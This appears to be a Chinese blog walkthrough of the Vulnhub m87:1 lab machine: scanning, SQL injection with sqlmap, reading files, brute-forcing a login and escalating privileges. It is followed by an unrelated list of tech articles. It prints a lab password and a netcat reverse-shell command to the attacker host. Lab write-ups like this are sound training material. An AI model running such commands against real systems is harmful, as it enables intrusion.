剑豪123
剑豪123

Vulnhub靶机m87:1渗透

靶机介绍
官方下载地址：http://www.vulnhub.com/entry/m87-1,595/
靶机难度容易，拥有两个用户，网络适配器是NAT模式自动分配IP地址
Vulnhub靶机m87:1渗透_第1张图片
运行环境
靶机：网络设为NAT，IP地址：192.168.174.138
攻击机：同网段下的kali linux，IP地址：192.168.174.135
开始渗透
运行靶机
Vulnhub靶机m87:1渗透_第2张图片
靶机运行之后就提示了IP地址，端口和一个域名
扫一下端口看是否有其他存在
Vulnhub靶机m87:1渗透_第3张图片
Vulnhub靶机m87:1渗透_第4张图片
Vulnhub靶机m87:1渗透_第5张图片
扫一下80端口的目录
Vulnhub靶机m87:1渗透_第6张图片
开始访问得到的这些目录
80端口的首页
Vulnhub靶机m87:1渗透_第7张图片
admin
Vulnhub靶机m87:1渗透_第8张图片
/admin/backup/
Vulnhub靶机m87:1渗透_第9张图片
9090端口首页
Vulnhub靶机m87:1渗透_第10张图片
找到了四个登录页面
http://192.168.174.138/admin/ 输入参数id=’ 出现报错 id=1的时候回显正常 说明存在注入点
Vulnhub靶机m87:1渗透_第11张图片
使用sqlmap跑一下，确实存在注入点
Vulnhub靶机m87:1渗透_第12张图片
在db的数据库的users表当中找到了用户名密码
Vulnhub靶机m87:1渗透_第13张图片
经过多次尝试这里的用户名密码是无法登录任何一个登录页面
但是数据库存在flie权限，可以读取文件
Vulnhub靶机m87:1渗透_第14张图片
Vulnhub靶机m87:1渗透_第15张图片
查看passwd
Vulnhub靶机m87:1渗透_第16张图片
在这里插入图片描述
这里看到确实只存在两个用户
接下就不知道怎么办了，最后看了某一位大佬的视频才做出来的，将所有用户和密码收集起来使用burp进行爆破，
最后使用charlotte：15The4Dm1n4L1f3登录9090端口的首页
Vulnhub靶机m87:1渗透_第17张图片
Vulnhub靶机m87:1渗透_第18张图片
在终端选项里面发现可以执行系统命令，接下来就是提权了，有好几个方法可以提权
Vulnhub靶机m87:1渗透_第19张图片
第一个方法：
执行命令反弹shell到本地 nc -e /bin/bash 192.168.174.135 4444
Vulnhub靶机m87:1渗透_第20张图片
在这里插入图片描述
使用python打开一个终端
在这里插入图片描述
查看old发现是python2.7可以利用os模块调用本地的root的shell
Vulnhub靶机m87:1渗透_第21张图片
Vulnhub靶机m87:1渗透_第22张图片
第二个方法：
利用python相关的提权命令进行提权
Vulnhub靶机m87:1渗透_第23张图片
Vulnhub靶机m87:1渗透_第24张图片
也可以不反弹shell到本地直接在浏览器执行提权命令
Vulnhub靶机m87:1渗透_第25张图片
Vulnhub靶机m87:1渗透_第26张图片
这个靶机到这里就渗透结束了，难点在于获取用户名和密码

你可能感兴趣的:(安全,kali,linux,渗透测试)

  • 地理信息安全考试_判断题 MrWNG 地理信息安全在线考试题库安全
    地理信息安全考试_判断题第1题:收发涉密载体应当履行清点、编号、登记、签收手续。A:对B:不对正确答案：A----------------------------------------第2题:存储、处理涉密测绘地理信息的涉密计算机必须拆除机内无线网卡等无线互联设备，切断无线联网渠道，可以连接无线鼠标、无线键盘等无线外围设备。A:正确B:错误正确答案：B答案解析：（三）涉密计算机外接设备管理要求。
  • qemu arm 开发环境搭建 509728263 本人经验文章QEMUARM
    qemuarm开发环境搭建作者：吴甜甜个人博客网站：wutiantian.github.ioqemuarm实验环境ubuntu18.04qemu4.0.01.在qemu上模拟运行linux内核非图形化启动qemu-system-arm-M\vexpress-a9-m512M\-dtblinux-4.20.17/arch/arm/boot/dts/vexpress-v2p-ca9.dtb\-kern
  • 8个移动端适配技巧,兼容性问题减少90% chenNorth。 前端前端
    文章目录1.使用viewport配置，确保完美视口2.使用rem实现弹性布局3.CSS媒体查询处理不同尺寸4.1px边框问题解决方案5.安全区域适配6.图片适配方案7.横屏适配处理8.软键盘弹出处理1.使用viewport配置，确保完美视口移动端开发首先要设置正确的viewport，这是适配的基础。关键属性解析：width=device-width：将视口宽度设置为设备宽度initial-scal
  • Kubernetes集群架构-关于 cgroup v2 qichengzong_right 云原生linuxkuberneteslinux云原生kubernetes
    Kubernetes集群架构-关于cgroupv2Kubernetes集群架构-关于cgroupv2什么是cgroupv2?使用cgroupv2要求LInux发行版对cgroupv2的支持迁移到cgroupv2识别LInux节点上的cgroup版本链接Kubernetes集群架构-关于cgroupv2在Linux上，控制组1限制分配给进程的资源。kubelet和底层容器运行时需要与cgroups交
  • web自动化测试基础（从配置环境到自动化实现登录测试用例的执行，vscode如何导入自己的python包） 小明学编程｀ 自动化测试自动化测试用例web自动化测试pythonselenium安装自动化导入自己的包pythonwebdriver下载
    接下来的一段时间里我会和大家分享自动化测试相关的一些知识希望大家可以多多支持，一起进步。一、环境的配置前提安装好了python解释器并配好了环境，并安装好了VScode下载的浏览器和浏览器驱动需要一样的版本号(只看大版本)。1、安装浏览器Chrome浏览器下载地址，点链接接后，根据自己的操作系统选择不同的版本，windows就下载win版本的，linux就下linux版本的。推荐大家下载stabl
  • Java中的并发工具类：让多线程编程更轻松 莫非技术栈 javajava开发语言
    Java中的并发工具类：让多线程编程更轻松1.引言：多线程编程的“痛”多线程编程是Java开发中的一大难点，尤其是在高并发场景下，稍有不慎就会遇到线程安全问题、死锁、性能瓶颈等问题。比如：publicclassCounter{privateintcount=0;publicvoidincrement(){count++;//非线程安全！}publicintgetCount(){returncoun
  • 代理ip是虚拟的吗？一起揭开它的神秘面纱 神龙HTTP tcp/ip网络协议网络
    代理IP是虚拟的吗？在网络世界中，IP地址是设备在互联网上的标识符。随着网络隐私和数据安全的日益重要，代理IP作为一种常见的技术手段被广泛使用。那么，代理IP究竟是虚拟的吗？本文将对此进行详细探讨。1.代理IP的基本概念代理IP是指在用户与目标服务器之间充当中介的IP地址。当用户通过代理服务器发送请求时，目标服务器看到的并不是用户的真实IP，而是代理服务器的IP。这种方式可以隐藏用户的真实身份，提
  • 水库水雨情监测系统：实时自动化预警 DX_水位流量监测 自动化运维
    在水库运行管理中，水雨情监测至关着重要。水库水雨情监测系统凭借其自动化预警与精准调度功能，宛如一位尽职的守护者，时刻紧盯水情雨情变化，为水库安全运行及周边区域防洪减灾提供坚实保障，下面为您简单介绍水雨情系统的构成及功能。一、水库水雨情监测系统构成该系统主要由雨量监测站、水位监测站、数据传输网络、数据处理中心以及预警发布平台等部分构成。雨量监测站通过高精度雨量传感器，如翻斗式雨量计，准确测量降雨的强
  • 2025最新的陪玩小程序系统有哪些开源架构?如何完全的实现安全交付？ D矜持 架构安全前端框架交友uniapp系统架构
    一、开源架构前端框架：*Uni-app等前端框架使得开发者能够创建跨平台的应用程序，这些应用程序在不同操作系统和设备上具有一致的用户体验。这些框架提供了丰富的组件和工具，使得开发者能够快速构建出美观、易用的用户界面。*通过这些前端框架，用户可以轻松地浏览陪玩师资料、下单、支付以及进行实时通信等操作，从而提高用户满意度和忠诚度。实时通信技术：*WebSocket实时通信技术实现了用户与陪玩师之间的即
  • 如何从一个 Shell 脚本调用另一个 Shell 脚本 ？ bash
    在Unix和Linux的世界中，shell脚本是一种强大的工具，可用于任务自动化和系统管理等。通常，我们需要从一个shell脚本中调用另一个shell脚本。这不仅有助于将复杂的脚本组织成可管理的模块，而且有助于脚本的可重用性和可维护性。BasicMethod最直接的方法是在父脚本中使用它的路径。假设您有两个脚本：script1.sh和script2.shscript1.sh:#!/bin/bash
  • Nmap使用总结 黑客KKKing 网络工程师网络安全网络web安全安全
    0X00背景nmap是测试中常用的网络探测工具，但是这回简单的操作，一直了解不深入，现在深入的了解和学习一下。在文章结构上，我把平时常用的内容提前了，以便再次查阅的时候，比较方便。0X01安装nmap可以到DownloadtheFreeNmapSecurityScannerforLinux/Mac/Windows下载最新版本(目前最新版本nmap-7.70)0X02实例部分实例下面给出一些实例，简
  • 如何给 Flask 项目创建 Systemd 服务 ? flasksystemd
    为Flask应用程序创建systemd服务文件是确保应用程序在Linux系统上顺利运行的一种极好的方法，它提供了一种健壮且可靠的方式来管理应用程序进程。本文将指导您完成为Flask应用程序创建和配置systemd服务。1:CreateaFlaskApplication创建一个样例Flask应用程序fromflaskimportFlaskapp=Flask(__name__)@app.route('
  • 如何限制用户运行 chmod 777 命令 ？ linux
    为chmod创建自定义脚本包装可以帮助您管理和限制某些chmod命令的使用，例如防止设置777权限。下面是如何在linux的系统中创建这样一个脚本的基本示例。Step1:CreatetheScript打开终端，并使用文本编辑器创建脚本。sudonano/usr/local/bin/safe_chmod将以下内容添加到文件中：#!/bin/bash#Customscriptwrapperforchm
  • 掌握Linux top命令：优化系统性能的关键
    Linuxtop命令：系统性能监控与优化指南top命令是Linux系统中优化系统性能的关键工具之一。通过实时监控系统资源，top帮助管理员和开发者迅速定位性能瓶颈，进行有效优化。本文将详细介绍如何使用top命令监控和优化系统性能，涵盖其主要功能和实际应用技巧。top命令概述top命令提供了实时的系统资源使用情况，包括CPU使用率、内存使用率、进程列表等信息。通过这些数据，用户可以快速了解系统当前的
  • Next.js 15 重大更新解析
    作为React框架的佼佼者，Next.js的第15个版本带来了诸多激动人心的更新。这次更新重点优化了开发工作流程、性能表现，并加强了安全性。现在就来深入了解这些新特性。自动化升级工具Next.js15引入了全新的codemodCLI工具，大大简化了版本升级流程。只需要运行以下命令即可升级到最新版本：npx@next/codemod@canaryupgraderc该工具不仅能自动更新依赖，还会展示可
  • 【Docker】Supervisor 实现单容器运行多服务进程 行者Sun1989 DockerDocker容器Supervisor
    本文内容均来自个人笔记并重新梳理，如有错误欢迎指正！如果对您有帮助，烦请点赞、关注、转发、订阅专栏！专栏订阅入口|精选文章|Kubernetes|Docker|Linux|羊毛资源|工具推荐|往期精彩文章【Docker】（全网首发）KylinV10下MySQL容器内存占用异常的解决方法【Docker】（全网首发）KylinV10下MySQL容器内存占用异常的解决方法（续）【K8s】专题十五（6）：
  • Ubuntu下Nginx配置ModSecurity详细思路及过程
    在Nginx中配置ModSecurity提升Web应用安全性ModSecurity是一个功能强大的开源Web应用防火墙（WAF），能够有效防御各种Web攻击，如SQL注入、跨站脚本（XSS）等。在Nginx中配置ModSecurity，可以显著增强Web应用的安全性。本文将详细介绍如何在Ubuntu系统下为Nginx配置ModSecurity，涵盖从安装到测试的每一个步骤，并配以详细的解释和示意图
  • Docker里的泰拉瑞亚，来开黑！！！ docker
    准备docker安装，参考之前docker中部署开源的接口管理工具doclever中的docker安装部分，本篇环境wsl2的ubuntu系统。泰拉瑞亚服务端文件，下载地址泰拉瑞亚服务端，如果链接失效，可以百度泰拉瑞亚官网找下载。构建准备一个临时文件夹，将下载的服务端文件解压后，只需要copylinux版本进来就行。$mkdirtemp#给这个文件加上执行权限$chmod+xlinux/Terra
  • shell中实现浮点数运算 自不量力的A同学 shellLinux开发相关shell
    linux下的浮点数运算shell实现浮点数运算awk实现浮点数运算bc实现浮点数运算awk实现浮点数运算AWK是一种处理文本文件的语言，是一个强大的文本分析工具。主要部分awk‘{printf“%0.8f\n”,$1/$2}’使用printf实现小数点后数值的保留。0.8f保留小数点后8位。$1/$2表示传入的当前行的第一个数据除以第二个数据。例如相除v=$(echo$a$b|awk'{prin
  • Linux从0到1——线程自定义封装 -指短琴长- Linuxlinuxc++运维
    Linux从0到1——线程自定义封装1.Thread.hpp2.main.cc1.Thread.hpp#pragmaonce#include#include#includetemplateusingfunc_t=std::function;templateclassThread{public:Thread(func_tfunc,conststd::string&threadname,Tdata):
  • 【Rust的2种线程锁 & 阻塞 vs 挂起】 LiuIleCPP_Golang 笔记本rust
    async_std::sync::Mutex和std::sync::Mutex之间的主要区别在于它们如何处理线程阻塞和异步编程模型。以下是两者的关键差异：标准库的Mutex(std::sync::Mutex)同步阻塞：当一个线程尝试获取std::sync::Mutex的锁时，如果锁已经被其他线程持有，调用线程将会被阻塞，直到锁变得可用。这意味着该线程将暂停执行，直到它获得锁。线程安全：std::s
  • 浅谈云计算05 | 云存储等级及其接口工作原理 时光札记z 云计算云原生计算机网络架构云计算
    一、云存储设备在当今数字化飞速发展的时代，数据已然成为个人、企业乃至整个社会的核心资产。从日常生活中的珍贵照片、视频，到企业运营里的关键业务文档、客户资料，数据量呈爆炸式增长。面对海量的数据，如何安全、高效且便捷地存储，成为了大家共同面临的关键挑战。云存储设备，恰如应运而生的璀璨新星，正逐步取代传统存储模式，引领数据存储迈向全新未来。云存储设备，简单来说，是依托云计算技术，通过互联网将数据存储于远
  • don‘t sleep一款阻止系统意外中断，保证工作娱乐安全运行的软件！ Tech智汇站 经验分享学习生活
    软件介绍给大家分享一款大小仅500多KB，用于防止系统进入关机、重启、待机、睡眠、休眠、注销、屏幕保护等状态功能的软件，避免工作或者娱乐受到打扰。软件主要由阻止和允许功能构成。例如当你在下载、暂时离开、工作的时候使用阻止功能可以避免系统进入不同的电源管理模式。你也可以通过监测计时器、电池、CPU、网络资源从而退出阻止状态。例如使用断开电源的笔记本，这时通过对电池电量检测，在低电量时进入不同的电源管
  • ubuntu grub 没有windows_WIN10/Ubuntu双系统常见问题 weixin_39691968 ubuntugrub没有windowsubuntusystemctl开机时间ubuntu开机启动flaskubuntu不能输入美元符号ubuntu双系统引导梅花
    我最初装双系统的时候也遇到了许多问题，基本上别人能遇到的问题我都遇到了，这里整理了我当时的解决方案。（当时的ubuntu版本为16版）当时参考的是这篇安装教程：实用教程：PC实现Win10/Ubuntu双系统-Ubuntu,双系统,Linux-IT之家www.ithome.com1.WIN10重启无法进入BIOS按照教程上的要求制作好了装机U盘，可重启后不论是F2还是F10、F12都试过了，却无法
  • 小E揭秘：如何用二维码轻松管理公司设备 EasyControl移动设备管理 MDM功能介绍MDM介绍科技安全智能手机电脑
    小E下期将讲解如何判断你购买的手机、电脑是不是受到限制的监管机，关注EasyControl不掉队。我们的工作与生活越来越依赖于智能设备，但随之而来的手机、电脑等设备管理问题却让许多企业感到头疼。如何高效、安全地管理这些设备，成为了一个亟待解决的挑战。市场上，大多数企业都选择部署移动设备管理（MDM）方案。大批量的设备注册一直是MDM方案的难题。因此，诞生了一个“捷径”——使用二维码进行设备注册，通
  • 环境变量设置之后，pycharm 中程序获取不生效？ drebander pycharmchromeidepython
    在Linux系统中，/etc/profile是一个全局配置文件，主要用于定义所有用户的环境变量。当我们修改了/etc/profile文件后，如何让这些变量快速生效，而不需要重启系统呢？本文将为你详细讲解。问题背景当环境变量设置在远程服务器上时，通过本地Python脚本链接远程服务器，尝试使用以下代码获取环境变量可能会失败：chrome_path=os.environ.get('CHROME_PAT
  • ShardingSphere 实现数据脱敏 drebander 数据库shardingSphere
    在分布式数据库场景中，数据的安全性至关重要。ShardingSphere提供了一套灵活且高效的数据加密解决方案，帮助开发者在分布式环境中实现敏感数据的加密存储和安全访问，从而满足合规性和安全性需求。一、数据加密的重要性1.数据加密的作用保护隐私：防止敏感数据（如用户信息、交易记录）被窃取。满足合规：符合GDPR、CCPA等隐私保护法规的要求。防止数据泄露：即使数据库被非法访问，敏感数据也无法直接读
  • Ubuntu 下部署、配置和调优 Tailscale shelby_loo ubuntulinux运维
    嘿，大家好！今天小弟在三丰云免费服务器上进行了一次Tailscale的部署测试，简直没话说！这个免费云服务器配置相当给力：1核CPU、1G内存、10G硬盘、5M带宽，真是不错的免费服务器，值得一试！首先，让我简单介绍一下Tailscale软件，它是一款强大的私人网络工具。它提供了简单且安全的方法，让你能够在云上或者其他网络中连接到你的服务器和设备。好了，废话不多说，让我们开始Ubuntu下的部署、
  • 关于ctf大赛 向晚753 web安全
    CTF（CaptureTheFlag）中文一般译作夺旗赛，在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。一.CTF的起源发展CTF起源于1996年DEFCON全球黑客大会，以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。已经成为全球范围网络安全圈流行的竞赛形式，2013年全球举办了超过五十场国际性CTF赛事。而DEFCON作为CTF赛制的发源地，DEFCONCTF也
  • Mac 配置iTerm2，安装rz/sz 魔法屋 运维linux编辑器
    前言一般来说，linux服务器大多是通过ssh客户端来进行远程的登陆和管理的，使用ssh登陆linux主机以后，如何能够快速的和本地机器进行文件的交互呢，也就是上传和下载文件到服务器和本地；与ssh有关的两个命令可以提供很方便的操作：sz：将选定的文件发送（send）到本地机器rz：运行该命令会弹出一个文件选择窗口，从本地选择文件上传到服务器(receive)安装rz/szroot账号登陆后，依次
  • Spring中@Value注解，需要注意的地方 无量 springbean@Valuexml
    Spring 3以后,支持@Value注解的方式获取properties文件中的配置值，简化了读取配置文件的复杂操作 1、在applicationContext.xml文件(或引用文件中)中配置properties文件 <bean id="appProperty" class="org.springframework.beans.fac
  • mongoDB 分片 开窍的石头 mongodb
        mongoDB的分片。要mongos查询数据时候 先查询configsvr看数据在那台shard上，configsvr上边放的是metar信息，指的是那条数据在那个片上。由此可以看出mongo在做分片的时候咱们至少要有一个configsvr,和两个以上的shard（片）信息。     第一步启动两台以上的mongo服务 &nb
  • OVER(PARTITION BY)函数用法 0624chenhong oracle
    这篇写得很好，引自 http://www.cnblogs.com/lanzi/archive/2010/10/26/1861338.html OVER(PARTITION BY)函数用法 2010年10月26日 OVER(PARTITION BY)函数介绍 开窗函数        &nb
  • Android开发中，ADB server didn't ACK 解决方法 一炮送你回车库 Android开发
    首先通知：凡是安装360、豌豆荚、腾讯管家的全部卸载，然后再尝试。   一直没搞明白这个问题咋出现的，但今天看到一个方法，搞定了！原来是豌豆荚占用了 5037 端口导致。 参见原文章：一个豌豆荚引发的血案——关于ADB server didn't ACK的问题 简单来讲，首先将Windows任务进程中的豌豆荚干掉，如果还是不行，再继续按下列步骤排查。 &nb
  • canvas中的像素绘制问题 换个号韩国红果果 JavaScriptcanvas
    pixl的绘制，1.如果绘制点正处于相邻像素交叉线，绘制x像素的线宽，则从交叉线分别向前向后绘制x/2个像素，如果x/2是整数，则刚好填满x个像素，如果是小数，则先把整数格填满，再去绘制剩下的小数部分，绘制时，是将小数部分的颜色用来除以一个像素的宽度，颜色会变淡。所以要用整数坐标来画的话（即绘制点正处于相邻像素交叉线时），线宽必须是2的整数倍。否则会出现不饱满的像素。 2.如果绘制点为一个像素的
  • 编码乱码问题 灵静志远 javajvmjsp编码
    1、JVM中单个字符占用的字节长度跟编码方式有关，而默认编码方式又跟平台是一一对应的或说平台决定了默认字符编码方式；2、对于单个字符：ISO-8859-1单字节编码，GBK双字节编码，UTF-8三字节编码；因此中文平台(中文平台默认字符集编码GBK)下一个中文字符占2个字节，而英文平台(英文平台默认字符集编码Cp1252(类似于ISO-8859-1))。 3、getBytes()、getByte
  • java 求几个月后的日期 darkranger calendargetinstance
    Date plandate = planDate.toDate(); SimpleDateFormat df = new SimpleDateFormat("yyyy-MM-dd"); Calendar cal = Calendar.getInstance(); cal.setTime(plandate); // 取得三个月后时间 cal.add(Calendar.M
  • 数据库设计的三大范式（通俗易懂） aijuans 数据库复习
    关系数据库中的关系必须满足一定的要求。满足不同程度要求的为不同范式。数据库的设计范式是数据库设计所需要满足的规范。只有理解数据库的设计范式，才能设计出高效率、优雅的数据库，否则可能会设计出错误的数据库. 目前，主要有六种范式：第一范式、第二范式、第三范式、BC范式、第四范式和第五范式。满足最低要求的叫第一范式，简称1NF。在第一范式基础上进一步满足一些要求的为第二范式，简称2NF。其余依此类推。
  • 想学工作流怎么入手 atongyeye jbpm
    工作流在工作中变得越来越重要，很多朋友想学工作流却不知如何入手。 很多朋友习惯性的这看一点，那了解一点，既不系统，也容易半途而废。好比学武功，最好的办法是有一本武功秘籍。研究明白，则犹如打通任督二脉。 系统学习工作流，很重要的一本书《JBPM工作流开发指南》。 本人苦苦学习两个月，基本上可以解决大部分流程问题。整理一下学习思路，有兴趣的朋友可以参考下。 1  首先要
  • Context和SQLiteOpenHelper创建数据库 百合不是茶 androidContext创建数据库
           一直以为安卓数据库的创建就是使用SQLiteOpenHelper创建,但是最近在android的一本书上看到了Context也可以创建数据库,下面我们一起分析这两种方式创建数据库的方式和区别,重点在SQLiteOpenHelper     一:SQLiteOpenHelper创建数据库:   1,SQLi
  • 浅谈group by和distinct bijian1013 oracle数据库group bydistinct
            group by和distinct只了去重意义一样，但是group by应用范围更广泛些，如分组汇总或者从聚合函数里筛选数据等。         譬如：统计每id数并且只显示数大于3 select id ,count(id) from ta
  • vi opertion 征客丶 macoprationvi
    进入 command mode （命令行模式） 按 esc 键 再按 shift + 冒号 注：以下命令中 带 $ 【在命令行模式下进行】，不带 $ 【在非命令行模式下进行】 一、文件操作 1.1、强制退出不保存 $ q! 1.2、保存 $ w 1.3、保存并退出 $ wq 1.4、刷新或重新加载已打开的文件 $ e 二、光标移动 2.1、跳到指定行 数字
  • 【Spark十四】深入Spark RDD第三部分RDD基本API bit1129 spark
      对于K/V类型的RDD,如下操作是什么含义？   val rdd = sc.parallelize(List(("A",3),("C",6),("A",1),("B",5)) rdd.reduceByKey(_+_).collect  reduceByKey在这里的操作，是把
  • java类加载机制 BlueSkator java虚拟机
    java类加载机制 1.java类加载器的树状结构 引导类加载器 ^ | 扩展类加载器 ^ | 系统类加载器 java使用代理模式来完成类加载，java的类加载器也有类似于继承的关系，引导类是最顶层的加载器，它是所有类的根加载器，它负责加载java核心库。当一个类加载器接到装载类到虚拟机的请求时，通常会代理给父类加载器，若已经是根加载器了，就自己完成加载。 虚拟机区分一个Cla
  • 动态添加文本框 BreakingBad 文本框
      <script>     var num=1; function AddInput() {      var str="";     str+="<input 
  • 读《研磨设计模式》-代码笔记-单例模式 bylijinnan java设计模式
    声明： 本文只为方便我个人查阅和理解，详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/ public class Singleton { } /* * 懒汉模式。注意，getInstance如果在多线程环境中调用，需要加上synchronized，否则存在线程不安全问题 */ class LazySingleton
  • iOS应用打包发布常见问题 chenhbc iosiOS发布iOS上传iOS打包
    这个月公司安排我一个人做iOS客户端开发，由于急着用，我先发布一个版本，由于第一次发布iOS应用，期间出了不少问题，记录于此。   1、使用Application Loader 发布时报错：Communication error.please use diagnostic mode to check connectivity.you need to have outbound acc
  • 工作流复杂拓扑结构处理新思路 comsci 设计模式工作算法企业应用OO
    我们走的设计路线和国外的产品不太一样，不一样在哪里呢？  国外的流程的设计思路是通过事先定义一整套规则(类似XPDL)来约束和控制流程图的复杂度(我对国外的产品了解不够多，仅仅是在有限的了解程度上面提出这样的看法)，从而避免在流程引擎中处理这些复杂的图的问题，而我们却没有通过事先定义这样的复杂的规则来约束和降低用户自定义流程图的灵活性，这样一来，在引擎和流程流转控制这一个层面就会遇到很
  • oracle 11g新特性Flashback data archive daizj oracle
    1. 什么是flashback data archive Flashback data archive是oracle 11g中引入的一个新特性。Flashback archive是一个新的数据库对象，用于存储一个或多表的历史数据。Flashback archive是一个逻辑对象，概念上类似于表空间。实际上flashback archive可以看作是存储一个或多个表的所有事务变化的逻辑空间。
  • 多叉树:2-3-4树 dieslrae 树
        平衡树多叉树,每个节点最多有4个子节点和3个数据项,2,3,4的含义是指一个节点可能含有的子节点的个数,效率比红黑树稍差.一般不允许出现重复关键字值.2-3-4树有以下特征:     1、有一个数据项的节点总是有2个子节点(称为2-节点)     2、有两个数据项的节点总是有3个子节点(称为3-节
  • C语言学习七动态分配 malloc的使用 dcj3sjt126com clanguagemalloc
    /* 2013年3月15日15:16:24 malloc 就memory(内存) allocate(分配)的缩写 本程序没有实际含义，只是理解使用 */ # include <stdio.h> # include <malloc.h> int main(void) { int i = 5; //分配了4个字节 静态分配 int * p
  • Objective-C编码规范[译] dcj3sjt126com 代码规范
      原文链接 : The official raywenderlich.com Objective-C style guide 原文作者 : raywenderlich.com Team 译文出自 : raywenderlich.com Objective-C编码规范 译者 : Sam Lau
  • 0.性能优化-目录 frank1234 性能优化
    从今天开始笔者陆续发表一些性能测试相关的文章，主要是对自己前段时间学习的总结，由于水平有限，性能测试领域很深，本人理解的也比较浅，欢迎各位大咖批评指正。 主要内容包括： 一、性能测试指标 吞吐量、TPS、响应时间、负载、可扩展性、PV、思考时间 http://frank1234.iteye.com/blog/2180305 二、性能测试策略 生产环境相同 基准测试 预热等 htt
  • Java父类取得子类传递的泛型参数Class类型 happyqing java泛型父类子类Class
      import java.lang.reflect.ParameterizedType; import java.lang.reflect.Type; import org.junit.Test; abstract class BaseDao<T> { public void getType() { //Class<E> clazz =
  • 跟我学SpringMVC目录汇总贴、PDF下载、源码下载 jinnianshilongnian springMVC
      ----广告-------------------------------------------------------------- 网站核心商详页开发 掌握Java技术，掌握并发/异步工具使用，熟悉spring、ibatis框架； 掌握数据库技术，表设计和索引优化，分库分表/读写分离； 了解缓存技术，熟练使用如Redis/Memcached等主流技术； 了解Ngin
  • the HTTP rewrite module requires the PCRE library 流浪鱼 rewrite
    ./configure: error: the HTTP rewrite module requires the PCRE library. 模块依赖性Nginx需要依赖下面3个包 1. gzip 模块需要 zlib 库 ( 下载: http://www.zlib.net/ ) 2. rewrite 模块需要 pcre 库 ( 下载: http://www.pcre.org/ ) 3. s
  • 第12章 Ajax（中） onestopweb Ajax
    index.html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/
  • Optimize query with Query Stripping in Web Intelligence blueoxygen BO
    http://wiki.sdn.sap.com/wiki/display/BOBJ/Optimize+query+with+Query+Stripping+in+Web+Intelligence and a very straightfoward video http://www.sdn.sap.com/irj/scn/events?rid=/library/uuid/40ec3a0c-936
  • Java开发者写SQL时常犯的10个错误 tomcat_oracle javasql
    1、不用PreparedStatements 　　有意思的是，在JDBC出现了许多年后的今天，这个错误依然出现在博客、论坛和邮件列表中，即便要记住和理解它是一件很简单的事。开发者不使用PreparedStatements的原因可能有如下几个： 　　他们对PreparedStatements不了解 　　他们认为使用PreparedStatements太慢了 　　他们认为写Prepar
  • 世纪互联与结盟有感 阿尔萨斯
    10月10日，世纪互联与（Foxcon）签约成立合资公司，有感。 全球电子制造业巨头（全球500强企业）与世纪互联共同看好IDC、云计算等业务在中国的增长空间，双方迅速果断出手，在资本层面上达成合作，此举体现了全球电子制造业巨头对世纪互联IDC业务的欣赏与信任，另一方面反映出世纪互联目前良好的运营状况与广阔的发展前景。 众所周知，精于电子产品制造（世界第一），对于世纪互联而言，能够与结盟
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他